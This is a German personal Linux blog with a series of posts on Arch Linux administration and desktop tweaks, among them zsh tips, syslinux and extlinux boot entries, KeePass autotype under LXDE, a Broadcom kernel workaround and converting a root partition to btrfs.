Vor ein paar Tagen hatte ich jetzt endgültig die Schnauze voll und ich habe mir einen WLAN-USB-Stick gekauft. Da ich mich derzeit oft auf Raspberry-Pi-Seiten herumtreibe ist mir der Stick EW-781Un (Version 1.0A) von Edimax bereits das eine oder andere mal aufgefallen. Hierbei handelt es sich um einen Nano-USB-Stick und stört somit am Netbook nicht wirklich. Er bietet zudem eine maximale Rate von 150 Mbps und kommt mit WPA2 zurecht. Nachdem ich die WLAN-Karte von Broadcom deaktiviert hatte, lief der Stick auf "out of the box" unter Arch Linux. Lediglich die Interface-Bezeichnung im Profil von netctl musste ich noch anpassen. Größere Dateitransfere laufen damit endlich so wie sie sollen. Nämlich schnell und stabil.

Was bleibt mir also abschließend zu sagen? Wer einen WLAN-USB-Stick für Linux sucht, ist mit diesem Teil gut beraten. Positiv hervorheben möchte ich auch, dass auf der Verpackung neben Windows auch Mac und Linux als unterstütztes Betriebssystem genannt wird. Was den Preis betrifft, ist man mit ungefähr 7 Euro dabei.


run-help unter der ZSH

Heute habe ich mal wieder eine nette Funktion der ZSH entdeckt. Nehmen wir mal wir möchten mit tar etwas packen bzw. entpacken. Leider kann ich mir die Parameter hierzu absolut nicht merken (deswegen habe ich normalerweisae Aliase angelegt). Bin ich nun an einem fremden Rechner, gebe ich in der Regel erst einmal den gewohnten Alias ein. Dann merke ich, dass dieser nicht vorhanden ist. Als nächstes gebe ich dann tar ein um dann festzustellen, dass ich die nötigen Parameter nicht im Kopf habe. 

Normalerweise lösche ich dann den Befehl und rufe die Manpage von selbigen auf. Ist auf dem Rechner zufällig die ZSH installiert, kann das etwas beschleunigen indem man den Befehl eingibt und danach Esc+h drückt. Hiermit wird dann die Manpage des betreffenden Befehls aufgerufen. Hat man dann alles was man braucht, drückt man einfach q und landet wieder in der ZSH. Da der eingegebene Befehl hierbei nicht gelöscht wird, kann man diesen nun um die benötigten Parameter usw. erweitern.

Das mag jetzt keine weltbewegende Funktion sein und vielleicht gibt es unter einer anderen Shell etwas Vergleichbares. Aber so oder so ist das Ganze doch irgendwie nützlich.


OpenWrt Barrier Breaker RC1 veröffentlicht

OpenWrt kann auf vielen Routern usw. als alternatives Betriebssystem eingesetzt werden. Vor kurzem wurde nun der erste Release Candidate der kommenden Version Barrier Breaker veröffentlicht. Das Changelog, das die Highlights die seit der aktuellen, stabilen Version hinzugekommen sind kann man hier nachlesen.

Für mich sind besonders folgende Punkte interessant.

- Nativer IP6-Support
- Snapshot-Funktion des Dateisystem mit möglichem Rollback
- Möglichkeit einer Testkonfiguration mit der Möglichkeit diese wieder auf die letzte funktionierende Konfiguration zurück zu stellen.

Ich werde mir am Wochenende mal den RC installieren. Eventuell finde ich ja noch den einen oder anderen Bug der dann bis zur Veröffentlichung der stabilen Version behoben werden kann.


History-Datei der ZSH reparieren

Seit einiger Zeit habe ich das Problem, dass wenn ich Arch Linux herunterfahre, die Meldung "a stop stop ist running for User Manager for UID 1026" erscheint und das System erst einmal 90 Sekunden wartet und dann erst mit dem Herunterfahren weitermacht. Die UID entspricht übrigens meinem normalen Benutzerkonto.

Nach längerem hin und her, da mir das hier beschriebene Debuggin auch nicht weitergeholfen hat, habe ich mal getestet, was passiert wenn ich die Kiste per poweroff -f herunterfahre. Die erste positive Erkenntnis war, dass die Kiste ohne Fehler herunterfährt. Die erste negative Erkenntnis war allerdings, dass es dabei scheinbar die History-Datei von ZSH zerlegt hat. Sobald ich terminator aurufe begrüßt mich die ZSH mit "zsh: corrupt history file /home/benutzer/.zhistory" Tja force hat halt in der Regel immer Nachteile und sollte gut überlegt sein...

Wären in der Datei nicht sehr viele Einträge vorhanden, von denen einige ziemlich komplex sind (zumindest für mich), hätte ich die Datei einfach gelöscht und von Null wieder angefangen. Kommt aus genannten Gründen aber eben nicht in Frage.

Also ist mal wieder Bastelstunde. Die Lösung war aber, vorüber ich heilfroh bin, sehr einfach. Korrekte History-Einträge sind wie folgt aufgebaut.

1383417678:0;nano /etc/fstab

Grob gesagt ein Timestamp gefolgt von einem Befehl. 

Nachdem ich die ganze Datei durchgegangen bin (habe ich schon gesagt, dass die Datei ziemlich groß ist?) bin ich auf einen Eintrag gestoßen, der sich von den restlichen unterscheidet.

^@^@^@^@^@^@^@^@^@^@^@^@^: 1405154859:0;su

Da mit ansonsten nichts aufgefallen ist, habe ich die Originaldatei erst einmal weggesichert und dann einfach mal das ganze Zeug vor dem Doppelpunkt des betreffenden Eintrags entfernt und die Datei abgespeichert. Und schon gibt es keine Fehlermeldung mehr.


Freie Grafiktreiber für den Raspberry Pi

Wie Eric Anholt in seinem Blog verlauten lässt, wechselt er seine bisherige Arbeitsstelle und arbeitet nun für Broadcom. Das ist eigentlich relativ uninteressant, wäre da nicht noch eine weitere Ankündigung seinerseits.

Bei seinem neuen Brötchengeber hat er damit angefangen einen unter der MIT-Lizenz stehenden MESA und DRM-Kernel-Treiber für den BCM2708-Chip zu programmieren, der im Raspberry Pi verbaut ist.

Das ganze wird allerdings noch etwas dauern. Sobald die ersten Ergebnisse vorhanden sind, wir Anholt diese auch in einem Repository bereitstellen.

Da der Kerl vorher bei Intel war, hege ich die Hoffnung, dass hierbei mal etwas qualitativ Hochwertigeres entsteht. Wer einen WLAN-Chip von Broadcom unter Linux nutzt, weiß was mich meine...


IP-Adressen über die Shell sortieren

Ich habe hier eine Textdatei in der pro Zeile eine IP-Nummer steht. Allerdings geht es wild durcheinander. Ziel ist es nun die ganzen Nummern zu sortieren. Mittels folgendem Konstrukt konnte ich die ZSH (sollte auch mit Bash und Co funktionieren) überreden die Nummern zu ordnen.

cat unsortiert.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq >> sortiert.txt

Doppelt aufgeführte Nummern werden hierbei auch gleich auf einen Eintrag minimiert.


Entwicklerversion von Opera 24 für Linux veröffentlicht

Seit Opera die Rendering-Engine vor knapp zwei Jahren einem Jahr gewechselt hat, gab es bisher keine neue Veröffentlichung von Opera für Linux (vom Heartbleed-Update abgesehen). Die meisten Nutzer haben es zwischenzeitlich wohl auch schon aufgegeben auf eine neue Version zu hoffen. Umso erstaunlicher ist es, dass nun eine Developer-Version von Opera 24 für Linux zum Download angeboten wird. Die Ankündigung samt Download findet man unter http://blogs.opera.com/desktop/2014/06/opera-24-linux-released-developer-stream/.

Was soll ich jetzt als jahrelanger Operaner, der sogar einmal für eine werbefreie Version gezahlt hat, dazu sagen? Eigentlich nur eines... Die Veröffentlichung kommt viel zu spät. So gut wie jeder den ich kenne der Opera nutzt ist inzwischen auf einen anderen Browser umgestiegen. Und unterm Strich kann ich mit der Windowsversion von Opera 2.0 schon nichts anfangen. Das wird sich unter Linux vermutlich auch nicht ändern. Von daher, Opera ASA, danke. Aber nein danke.


Bestimmten Eintrag des Bootloaders automatisch ausführen

Wer von euch ein Dualbootsystem nutzt wird das Problem bestimmt kennen. Man arbeitet unter Linux und braucht dann z. B. zur Entspannung, oder weil es ein bestimmtes Programm nicht unter Linux gibt, Windows. Normalerweise startet man dann den Rechner neu, wartet bis der Bootloader soweit ist, wählt den Eintrag für Windows und wartet dann wieder, bis Windows gestartet ist. Gerade der Teil bei dem man auswählt, was der Bootloader starten soll, nervt hier dann doch. Unter Mandrake bzw. Mandriva hatte ich hierzu immer rebootin genutzt. Damit konnte man unter Linux im laufendem Betrieb angeben, welcher Eintrag des Bootloaders Grub nach einem Neustart (welcher automatisch ausgeführt wird) genutzt werden soll. Unter Arch vermisse ich das kleine Tool. Davon abgesehen nutze ich inzwischen syslinux als Bootloader. Damit kann rebootin meines Wissens nach nichts anfangen.

Gestern habe ich mich mal wieder wegen einer anderen Sache mit syslinux beschäftigt. Dabei bin ich auf extlinux gestoßen. Dieses Tool ist im Paket von syslinux enthalten. Zumindest unter Arch Linux. Und was muss ich sehen? Das ist, unter anderem, ein Ersatz für rebootin.

Mittels dem Befehlen extlinux --once=windows /boot/syslinux und einem anschließendem reboot wird Linux heruntergefahren, der Rechner neu gestartet der gewünschte Eintrag im Bootloader gestartet. Die Einträge für das Bootmenü bei Syslinux werden über sogenannte Labels definiert. Anstelle von windows wie im genannten Beispiel, nimmt man einfach das Label des Eintrags, den man ausführen will. Anstelle von --once können die Schreibfaulen auch einfach -o nehmen. Sollte syslinux an einer anderen Stelle als /boot/syslinux liegen, muss man dies auch noch anpassen. Spontan fällt mir aber kein Grund ein, wieso das so sein sollte. Packt man den Spass dann noch in ein Script und verpasst dem normalen Nutzer die nötigen Rechte, hat man quasi eine recht bequeme Möglichkeit in ein anderes Betriebssystem zu booten. Mal sehen, ob ich das ganze noch in das Startmenu AppMenu QML packen kann, welches bei mir zum Einsatz kommt.


Maxthon Browser - Betaversion für Linux veröffentlicht

Als ich begonnen habe den Browser Opera zu nutzen, war dieser noch kostenpflichtig, wenn man die Werbung weg haben wollte. Ist also schon ein Stück her. Nur im Notfall, oder wenn ich keine Wahl hatte, habe ich einen anderen Browser genutzt. Friede, Freude, Eierkuchen sozusagen. Dann hat Opera Software SAS, das Unternehmen hinter dem Browser Opera, vor ein paar Monaten beschlossen, die Engine von Presto auf Webkit/Blink umzustellen... Dabei ging mal so gut wie alles was Opera ausgemacht hat, über Bord.

Inzwischen sind wir bei Version 20.0.1353.0 angekommen. Kein Vergleich zur letzten Presto-Version 12.16. Da ich mir inzwischen sicher bin, dass das was Opera jahrelang für mich ausgemacht hat, über den Jordan mit einem "One Way Ticket" gegangen ist, suche ich nun schon seit längerem nach einem halbwegs annehmbaren Ersatz für mich. Als hardcore Operaner eigentlich eine aussichtslose Suche. Das Feeling stimmt eigentlich bei keinem der bekannten Browser. Davon abgesehen nervt es mich, wenn ich einen Browser erst mit x Plugins erweitern muss, damit ich ihn vernünftig nutzen kann. Lediglich Midori hatte es in die engere Auswahl geschafft. Allerdings hatte ich hier oft das Gefühl der Browser wirft bei jeder Seite eine Münze ob er abstürzt oder nicht. Irgendwann bin ich dann auf Maxthon gestoßen. Kein Opera 12.16, soviel ist klar. Aber irgendwie fühlt er sich besser an, als die Alternativen, obwohl dieser auch auf Webkit basiert. Der Browser wird auch für die eine oder andere Plattform angeboten. Nur nicht für Linux. Na herzlichen Dank...

Kurz darauf die Ankündigung der Entwickler von Maxthon. Eine Linux-Version ist geplant. Gibt es doch einen Gott?

Vor ein paar Tagen haben die Entwickler nun eine frei zugängliche Beta-Version veröffentlicht. Dieser fehlen noch einige Features der Windows-Version und noch mehr der letzten Presto-Version von Opera. Aber egal... Installieren kostet nichts. Also mal eben ein PKGBUILD für Arch Linux basteln um dann festzustellen im AUR gibt es bereits ein Paket... Manchmal könnte ich mich ohrfeigen. Also dann eben über AUR. Die Installation verlief ohne Probleme. Allerdings hat mich die Installationsgröße von 165,14 MB dann doch überrascht. Naja egal, ich habe ein paar TB frei.

Nach dem ersten Start haben mich erst mal Bookmarks in asiatischen Schriftzeichen angelächelt. Laut einem Kommentar im AUR liegt es aber am verwendeten DEB-Paket. Für einen ersten Test komme ich aber mit der China-Version zurecht. Bis auf wenige Sachen ist hier alles in Englisch. Mausgesten sind schon mal im Lieferumfang enthalten, die sich zumindest grob auch anpassen lassen. Den Ad-Blocker der mir bei der Windows-Version positiv aufgefallen ist, vermisse ich allerdings noch. Die bisher enthaltenen Hauptfunktionen kann man unter http://forum.maxthon.com/thread-7305-1-1.html nachlesen. Dort werden auch diverse Pakete für i386 und x86_64 angeboten.

Ohne es jetzt genau benennen zu können, gefällt mir die erste Beta-Version bisher jetzt schon besser, als das was in den letzten Monaten unter dem Namen Opera veröffentlicht wurde. Wenn die Entwickler wirklich ihr Wort halten und auf die Wünsche der Nutzer eingehen, könnte Maxthon, zumindest mittelfristig, ein annehmbarer Ersatz für Presto-Opera werden. Bis dahin hoffe ich, dass bis dahin keine Sicherheitslücken in Opera 12.16 gefunden werden oder die Entwicklung des neuen Opera soweit fortgeschritten ist, dass er für mich nutzbar wird.

Lange Rede, wenig Sinn (oder so ähnlich)... Wer mit dem neuen Opera nichts anfangen kann oder will, sollte mal einen Blick auf Maxthon werfen.


Der Erklärbär für Shellbefehle

Ab und zu kommt es vermutlich bei allen Nutzern von Linux vor, dass sie irgendwo einen Befehl sehen, mit dem sie wenig bis gar nichts anfangen können. In dem Fall ist dann in der Regel angesagt, die Man-Page des jeweiligen Befehls durchzuackern. Was bei manchen Man-Pages teilweise ein ziemlicher Akt sein kann (man wireshark-filter wäre zum Beispiel solch ein Kandidat).

Heute ist mir eine recht gute, wenn auch nicht perfekte, Alternative dazu untergekommen. Gibt man unter http://explainshell.com/ den jeweiligen Befehl ein, wird dieser in Einzelteile zerlegt, welche dann erklärt werden. Zu Testzwecken haben ich mir einfach mal einen Befehl von der Seite commandlinefu geschnappt, über die ich schon einmal einen Artikel verfasst habe, und habe damit Explainshell gefüttert. Herausgekommen ist dann das, was man auf folgende Screenshot sieht.

explainshell

Das lässt sich doch eigentlich sehen, oder? Ich habe dann noch den einen oder anderen Befehl getestet und ähnliche Ergebnisse erhalten. Ich werde vermutlich zwar weiterhin Man-Pages lesen, aber die Seite werde ich mir auf jeden Fall als Lesezeichen speichern.


Ich...muss...terminieren

Nein ich stehe nicht kurz davor Amok zu laufen. Über meine "neue" Entdeckung bin ich eigentlich sogar ganz froh.

Ich hatte mir schon mal vor einiger Zeit Alternativen zur Konsole von KDE angesehen. Bin dann aber irgendwie doch bei selbiger geblieben. Jetzt habe ich den Wechsel geschafft. Die Entscheidung ist auf Terminator gefallen. Deswegen auch der dämliche Titel. :D Terminator ist ein Terminal Emulator, der, zumindest für mich, ein paar nette Möglichkeiten bietet. So bietet der Terminator z. B. die Funktion dass man innerhalb des Fensters diverse Terminals neben- bzw. untereinander anordnen kann. So hat man mehrere Sachen im Blick und sieht z. B. wann das Update oder der Download fertig ist, kann aber nebenher noch andere Sachen machen.

terminator

Bei diesem Beispiel ist links die Datei /etc/pacman.d/mirrorlist mit nano geöffnet. Rechts oben wird das System aktualisiert und rechts unten wurde eine SSH-Verbindung zu meinem Webspace aufgebaut.

Zusätzlich kann man dann noch die, von der Konsole gewohnten, Tabs nutzen. Profile in denen sich zum Beispiel unterschiedliche Aufteilungen speichern lassen, sind ebenfalls möglich. Und, um es mal salopp zu formulieren, einen Arsch voll Shortcuts gibt es auch (diese habe ich, derzeit noch nicht vollständig, bei meiner Cheatsheet-Sammlung einmal hinterlegt) , so dass man nicht unbedingt auf die Maus angewiesen ist. Weiterhin lassen sich zum Beispiel Terminals gruppieren usw.

Wer also eine Alternative für seinen/ihren Terminal Emulator sucht, sollte dem Terminator zumindest mal eine Chance geben.


Keepass Autotype unter LXDE

Zum verwalten einiger meiner Passwörter nutze ich das Programm KeePass. Dieses Programm bietet unter anderem die Funktion dass man mittels Shortcut sich automatisch auf bestimmten Seiten anmelden kann, ohne Benutzername und das Passwort manuell aus dem entsprechenden KeePass-Eintrag kopieren zu müssen. Die Entwickler geben hierzu eine Anleitung für KDE, Gnome und Unity. Nur nutze ich auf dem Netbook LXDE. Und schon ist mal wieder Bastelstunde.

Um die globale Autotype-Funktion auch unter LXDE nutzen zu können, muss als erstes xdotools installiert werden. Als nächstes muss man dann den Shortcut anlegen, der die Autotype-Funktion ausführt. Hierzu muss man die Datei ~/.config/openbox/lxde-rc.xml öffnen und entsprechend bearbeiten. In der XML-Datei gibt es den Abschnitt . Innerhalb diesen Bereichs muss nun der Shortcut definiert werden. Am besten trägt man diesen vor ein, so dass man ihn bei Bedarf schnell wieder findet. Bei mir sieht der Eintrag wie folgt aus. Die letzte Zeile sollte bereits vorhanden sein.

<keybind key="C-A-y">
      <action name="Execute">
        <command>keepass --auto-type</command>
      </action>
    </keybind>    
  </keyboard>

In der ersten Zeile definieren wir die Tastenkombination des Shortcuts. Das C steht hier für Strg, das A für ALT (genaueres kann man unter http://openbox.org/wiki/Help:Bindings#Key_combination nachlesen) und das y für y. Wer hier eine andere Kombination nehmen will, kann dies natürlich tun. In der zweiten Zeile wird angegeben, welche Aktion der Shortcut auslösen soll (genaueres unter http://openbox.org/wiki/Help:Actions). In diesem Fall Execute, da ja ein Befehl ausgeführt werden soll. In der dritten Zeile wird dann der Befehl angegeben, der ausgeführt werden soll. Damit der Shortcut funktioniert, muss man sich aus- und wieder einloggen bzw. den Rechner neu starten. Nun sollte die Autotype-Funktion funktionieren, wenn die entsprechende KeePass-Datenbank geöffnet ist.


Mit syslinux in den rescue mode booten

Viele Nutzer von Arch Linux verwenden als Bootloader nicht Grub(2) oder LiLo sondern syslinux. Auch ich gehöre zu diesen Nutzern. Standardmäßig gibt es zwei Einträge das System zu booten. Einmal den normalen Aufruf und einmal den Fallback-Modus bei dem alle mkinitcpio hooks geladen werden. Mit beiden Einträgen konnte ich bei meinem Broadcom-Problem das bei einem Kernel, aktueller Version 3.10.5, auftritt, nichts anfangen. Um bei einem ähnlichen Problem zukünftig gewappnet zu sein, habe ich mir jetzt eine Lösung zusammen gebastelt, so dass ich in vielen Fällen auf ein Booten mit dem Installationsmedium und anschließendem chroot verzichten kann.

Hierzu habe ich einfach mit dem Befehl nano /boot/syslinux/syslinux.cfg die Konfigurationsdatei des Bootloaders geöffnet. Der, für mein Vorhaben wichtige Teil sieht wie folgt aus.

LABEL arch
    MENU LABEL Arch Linux
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8
    INITRD ../initramfs-linux.img

LABEL archfallback
    MENU LABEL Arch Linux Fallback
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8
    INITRD ../initramfs-linux-fallback.img

Hier haben wir als erstes den normalen Start und als zweites den Fallback-Modus.

Jetzt möchte ich noch einen dritten Eintrag haben, der mir erlaubt in etwas ähnliches wie den früheren Runlevel 1 zu booten, den es in der Form ja unter systemd nicht mehr gibt.

Von daher kopiere ich erst einmal den ersten Block unter den zweiten und erzeuge somit einen dritten Eintrag im Bootmenü. Nun passe ich die Zeile LABEL und MENU LABEL entsprechend an, damit diese einzigartig sind und man erkennen kann, was die Funktion dahinter ist.

Zu guter Letzt ändere ich noch die Zeile APPEND und erweitere sie am Ende um systemd.unit=rescue und speichern die Datei einfach ab. Mehr ist nicht nötig. Das Ganze müsste dann folgendermaßen aussehen.

LABEL archrescue
    MENU LABEL Arch Rescue
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8 systemd.unit=rescue
    INITRD ../initramfs-linux.img

Durch systemd.unit=rescue wird das System angewiesen in den Modus zu booten, der dem ehemaligen Runlevel 1 am nächsten kommt. Sprich es ist alles gemountet was nötig ist, aber sonst läuft so gut wie nichts. Zum Beispiel kein Netzwerk, was ja bei mir die Kernel Panic ausgelöst hat. Um bei dem Broadcom-Problem zu bleiben könnte man hier zum Beispiel mit dem Befehl pacman -U /var/cache/pacman/pkg/linux-3.10.5-1-x86_64.pkg.tar.xz den Kernel downgraden und somit das System wieder lauffähig machen, bis das Problem behoben ist. Dies wird in diesem Fall wohl frühestens in Version 3.11 soweit sein.


AppMenu QML - Mein neues Startmenü und dessen Problembeseitigung

Ich heute mal wieder auf kde-look.org gewesen und habe mir mal wieder neue Plasmoids angesehen. Dabei bin ich auf das Startmenu AppMenu QML gestoßen, dass in QML und Javascript geschrieben ist.

Im Grunde ist es kein Plasmoid, dass an unbedingt haben muss, da es keinen wirklichen Mehrwert bringt. Aber es gefällt mir optisch ganz gut, von daher behalte ich es erst einmal.

Nur hat bzw. hatte das ganze mal wieder einen Haken. Alle Schaltflächen die zum Beispiel für das Abmelden, für das direkte Herunterfahren oder zum Benutzer wechseln gut sind, haben nicht funktioniert. Also musste ich mal wieder Hand anlegen. Unter ~/.kde4/share/apps/plasma/plasmoids/appmenu-qml/contents/ui/ findet man die Datei LeaveToolBar.qml. In dieser findet man folgenden Abschnitt, der für die funktionslosen Schaltflächen zuständig ist.

function doAction(action) {
    // see http://api.kde.org/4.10-api/kde-workspace-apidocs/libs/kworkspace/html/namespaceKWorkSpace.html
    if (action == "lockScreen")
        plasmoid.runCommand("qdbus", ["org.freedesktop.ScreenSaver", "/ScreenSaver", "Lock"]);
    else if (action == "requestShutDown")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "1", "-1", "-1"]); // ShutdownConfirmYes, ShutdownTypeDefault, ShutdownModeDefault
    else if (action == "logOut")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "3", "-1"]); // ShutdownConfirmNo, ShutdownTypeLogout, ShutdownModeDefault
    else if (action == "turnOff")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "2", "-1"]); // ShutdownConfirmNo, ShutdownTypeHalt, ShutdownModeDefault
    else if (action == "restart")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "1", "-1"]); // ShutdownConfirmNo, ShutdownTypeReboot, ShutdownModeDefault
    else if (action == "suspendToRam")
        plasmoid.runCommand("qdbus", ["org.kde.Solid.PowerManagement", "/org/kde/Solid/PowerManagement", "org.kde.Solid.PowerManagement.suspendToRam"]);
    else if (action == "suspendToDisk")
        plasmoid.runCommand("qdbus", ["org.kde.Solid.PowerManagement", "/org/kde/Solid/PowerManagement", "org.kde.Solid.PowerManagement.suspendToDisk"]);
    else if (action == "switchUser")
        plasmoid.runCommand("qdbus", ["org.kde.krunner", "/App", "org.kde.krunner.App.switchUser"]);
}


Nur was nun? Ich habe mir erst einmal einen der Befehle in der Konsole nachgebaut (qdbus org.kde.ksmserver /KSMServer org.kde.KSMServerInterface.logout -1 -1 -1). Und schon mault die zsh, dass sie Befehl qdbus nicht kennt. Das dürfte das Problem sein. Da ich zufälliger weise wusste, dass der Befehl unter Arch im Paket qt4 enthalten ist, habe ich mir den Paketinhalt unter https://www.archlinux.org/packages/extra/x86_64/qt4/ mal genauer angesehen. Hier wird eine Datei mit dem Namen qdbus-qt4 gelistet. Das dürfte dann wohl die Lösung des Problems sein. Aber wieso nicht qdbus sondern qdbus-qt4? Ein paar Minuten später hatte ich die Antwort. Arch bietet auch das Paket qt5-tools an. Und hier gibt es den Befehl qdbus. Somit wollte man hier wohl Probleme vermeiden, wenn beide Pakete installiert werden würden. Da ich noch nicht qt5 installieren möchte, habe ich mich also dazu entschieden die genannte Konfigurationsdatei anzupassen.

Von daher habe ich die Datei nach qdbus durchsucht und diesen Befehl durch qdbus-qt4 ersetzt, so dass z. B. folgender Eintrag zustande kam.

plasmoid.runCommand("<strong>qdbus-qt4</strong>", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "1", "-1", "-1"]); // ShutdownConfirmYes, ShutdownTypeDefault, ShutdownModeDefault

Diese Änderungen werden nicht sofort übernommen, sondern vermutlich erst nachdem man sich aus- und wieder eingeloggt hat. Ich habe einfach die Kiste komplett neu gestartet. Und schon kann ich die Schaltflächen die vorher ohne Funktion waren, nutzen.


Warum man immer erst die SuFu nutzen sollte

Gestern hatte ich mal wieder ein Erlebnis, bei dem man sich nur an den Kopf fassen konnte. Diesmal allerdings wegen eigener Dummheit. Als ich gestern mein Netbook mal wieder mit den neuen Updates von Arch-Linux versorgen wollte, ist während der Installation ist irgendwann der Rechner ausgegangen. Wann genau kann ich nicht sagen, da ich nicht die ganze Zeit vorm Rechner war. Aber die Ursache war auf jeden Fall ein leerer Akku.

Tja, man sollte wirklich erst mal den Akkustand prüfen, bevor man die Updates einspielt. Das habe ich dann nachdem ich das Netzkabel angeschlossen und die Kiste wieder gestartet habe feststellen müssen. Kurz nachdem ich unter LXDE angemeldet habe, gab es eine nette Kernel Panic.

Also wieder ein Neustart. Danach ganz schnell angemeldet und versucht die Logs unter /var/log anzusehen. Kernel Panic. Nächster Versuch. Diesmal allerdings kein Versuch Logs anzusehen, sondern pacman -Syu aufgerufen. Eventuell wurde wegen des leeren Akkus ja nur ein Paket nicht ganz installiert. Kernel Panic. Hmm... Eventuell hat das Dateisystem eine Macke? Also gut, dann booten wir eben die Kiste mal mit dem Installationsmedium von Arch und prüfen mal das Dateisystem der Root- und Homepartion. Hier gab es mal keine Kernel Panic, sondern erst mal eine Hürde, wie man mittels Luks verschlüsselte LVM mountet. Also schnell mal mit dem Smartphone gegoogelt. Ach so geht das... Ein Check des Dateisystems ergab aber nichts. Nicht mal eine Kernel Panic. Also gut, dann schauen wir mal die Logs an. Nichts.

Das suchen wir den Fehler Spielchen habe ich dann noch ca. 2 Stunden gespielt und mich dann entschieden, die persönlichen Daten am Wochenende zu sichern und die Kiste neu zu installieren. Das geht auf jeden Fall schneller. Gut, dass ich aber noch am gleichen Abend im Forum von archlinux.org vorbeigeschaut habe. Dort habe ich dann diesen Thread gefunden. Und genau in dem Moment habe ich mir an den Kopf gefasst. Denn mein Netbook hat einen Broadcom-Chip für das WLAN, welcher das Modul brcmsmac nutzt. Und bei der abgebrochenen Aktualisierung war bei den neuen Paketen auch der Kernel Linux 3.10.6 dabei. Scheinbar lief die Aktualisierung wohl doch durch. Zumindest bis zum Kernel.

Ich habe mich daher erst mal entschlossen, wieder den alten Kernel 3.10.5 zu installieren. Und schon läuft die Kiste wieder. Da Broadcom ja nicht gerade der Hit unter Linux ist, überlege ich mir jetzt allerdings noch, ob die die WLAN-Karte gegen eine andere z. B. von Intel tausche. Allerdings soll Lenovo ja im Bios eine Whitelist führen und so viele Karten aussperren.


Btrfs - Eine erste Zwischenbilanz

Vor etwas mehr als einen Monat habe ich meine Root-Partition nun auf Btrfs umgestellt. In dieser Zeit hatte ich mehrere größere Updates meiner Distribution eingespielt und auch zwei mal das System zu Absturz gebracht. Einmal durch ein Programm eines Bekannten, dass ich testen sollte und einmal dadurch, dass ich in der Steckdosenleiste leider den falschen Stecker gezogen habe.

Wirklich interessiert hat es aber mein System nicht. Es funktioniert alles wie es soll. Da es auch keine anderen Probleme gibt und ich z. B. die Snapshot-Funktion immer mehr mag, habe ich nun mittels folgender Befehle das Image der ext4-Partition, dass beim Umwandeln auf btrfs automatisch angelegt wurde, nun endgültig entfernt.

rm /ext2_saved/*
btrfs subvolume delete /ext2_saved

Derzeit kann ich also das neue Dateisystem, soweit man das nach einem Monat machen kann, nur empfehlen. Zumindest für private Rechner.

Zwischenzeitlich wurde ich auch schon gefragt, ob ich eventuell Benchmarks machen könnte. Ja, ich könnte. Ich werde es allerdings nicht machen. Mir geht es dabei nicht darum, ein noch schnelleres Dateisystem zu verwenden. Mir geht es hauptsächlich um die Funktionen wie Snapshots, Subvolumes oder die Dateisystemprüfung im laufendem Betrieb usw.


Btrfs - no risk no fun

Ich verfolge die Entwicklung von Btrfs, dem zukünftigen Linux-Filesystem der Marke eierlegender Wollmilchsau, nun schon seit geraumer Zeit.

Gestern hat mich mal wieder der Teufel geritten und ich habe meine Rootpartition von Arch kurzerhand von ext4 auf btrfs umstellt. 

Als erstes habe ich sichergestellt, dass das Paket btrfs-progs installiert ist.

Danach habe ich den Rechner mit dem Installationsmedium von Arch gebootet.

Mittels "fsck.ext4 -f /dev/sda3" habe ich vorsichtshalber erst mal das vorhandene Dateisystem auf Fehler getestet. Als das keine Probleme ausgespuckt hat, habe ich kurzerhand mittels "btrfs-convert /dev/sda3" meine Rootpartition von ext4 auf btrfs konvertiert. Hier muss man durchaus einige Zeit warten. Nach dem Konvertieren habe ich dann die "neue" Rootpartition gemountet und die /etc/fstab angepasst indem ich beim Eintrag für die betreffende Partition ext4 gegen btrfs und fs_passno von 1 gegen 0 ausgetauscht habe.

Mutig (oder dumm) wie ich bin, habe ich dann gleich einmal einen Neustart hingelegt. Und schwups hat es eine Fehlermeldung gehagelt. Und zwar dass das Filesystem btrfs nicht bekannt sei. Nach einigen ratlosen Minuten habe ich dann wieder das Installationsmedium gebootet, die Partition gemountet und mir die Datei /etc/mkinitcpio.conf angesehen. Hier hatte ich zwar als Hook filesystems eingetragen, aber scheinbar mag das btrfs nicht. Da meines Wissens ein btrfs-Hook existiert habe ich diesen mal schnell hinzugefügt. Damit das ganze dann auch funktioniert, wollte ich dann noch "mkinitcpio -p linux" ausführen. Und wieder hat es peng gemacht. Ohne chroot funktioniert das ja nicht. Also noch schnell die Boot-Partition gemountet und mittels "chroot /mnt/arch" das ganze gechrootet. Nun hat auch "mkinitcpio -p linux" funktioniert. Also Neustart. Und wieder peng. Langsam genervt, habe ich erneut vom Installationsmedium gebootet. Mittels "blkid" habe ich dann mir mal alle Partitionen zu Gemüte geführt und diese mit den Einträgen in der /etc/fstab abgeglichen. Bingo, die UUID hat sich geändert. Also schnell noch diese in der /etc/fstab anpassen. Neustart. Kein Peng, sondern der gewohnte Bootvorgang.

System läuft, Daten sind noch da. Also noch einen Schritt weiter. Erneut habe ich die Datei /etc/fstab editiert und in die betreffende Zeile noch ein compress=lzo hinzugefügt, damit die Dateien, welche geändert werden bzw. neu hinzukommen, auch komprimiert werden. Was aber mit den bereits vorhandenen, die sich nicht ändern? Naja erst mal testen und deshalb... Neustart. Funktioniert. Also was nun mit den bereits vorhandenen Daten? Nach der einen oder anderen Suchabfrage bei Google hatte ich die Lösung. Mit dem Befehl "find -xdev -type f -exec btrfs fi defrag '{}' \;" werden vorhandene btrfs-Filesystem defragmentiert und dabei auch noch komprimiert, sofern der Eintrag in der /etc/fstab vorhanden ist.

